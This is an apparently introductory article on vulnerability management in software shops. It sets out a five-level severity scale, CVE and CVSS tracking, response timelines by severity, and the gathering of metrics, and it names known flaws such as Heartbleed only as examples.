This is the first in a series of articles about building a secure software engineering shop. These articles are applicable either to traditional dev shops creating software or to shops hosting software or services in the cloud.
Inevitably, there are vulnerabilities in code. To avoid confusion in the organization, vulnerabilities must be prioritized and worked just like any other issue.  This is the core to building secure software.

Step One: Gather data and assign severity
This is the most important step. There is always a cone of uncertainty around every vulnerability. The team should gather the evidence and determine severity.
Enhance the issue tracking system to track vulnerabilities as a special case of defect. Assign a severity to any vulnerability tracked. Keep it simple; five severities level are enough:
  • Critical - Any vulnerability that results in remote code execution or denial of service. Examples include ShellShock and Heartbleed.
  • Severe - Any vulnerability that results in remote code execution or denial service, but has mitigations. Examples include POODLE (disable SSLv3) and BEAST (disable CBC ciphers).
  • Important - Any vulnerability that allows an attacker to escalate his privileges. Examples include an XSS attack against management users, or an XSRF that allow a lower privileged user to escalate their privileges.
  • Minor - Similar to Important, but mitigations may be in place. This could also be an information leak or other relatively minor issue.
  • Not Vulnerable - This is self explanatory, but is a good way to track a vulnerability and the work that has been done to identify and research it.
Track all vulnerabilities by a unique number; CVE numbers work well. See a later article for information on fetching CVE identifiers and working with vulnerability databases.
Assign CVSS scores to all vulnerabilities. This can help clarify the response.


Step Two: Respond  based on severity
Once a vulnerability severity is assigned, actions should be clear based on policy. The policy needs to written and understood by the entire organization. For example, a critical vulnerability invokes an immediate change window. A severe vulnerability invokes a mitigation change request; possibly scheduled for the next change window. An important issue must be fixed within the next month. All vulnerabilities in a software distribution should be documented externally with mitigation information and recommendations for avoiding the issue.

Step Three: Enforce the policy
Build reports so that all engineers and managers will know the importance of an issue. Priority should be assigned based on the severity. That priority should be understood by all parties.

Step Four: Gather metrics
Gather data about which vulnerabilities are deferred or incomplete. Track where in the code vulnerabilities are found. Escape analysis or root cause analysis should be performed on all severe or higher vulnerabilities. This information should feed back into the dev and test cycle.

Using these principles should greatly reduce confusion, improve communication and increase productivity when vulnerabilities arise.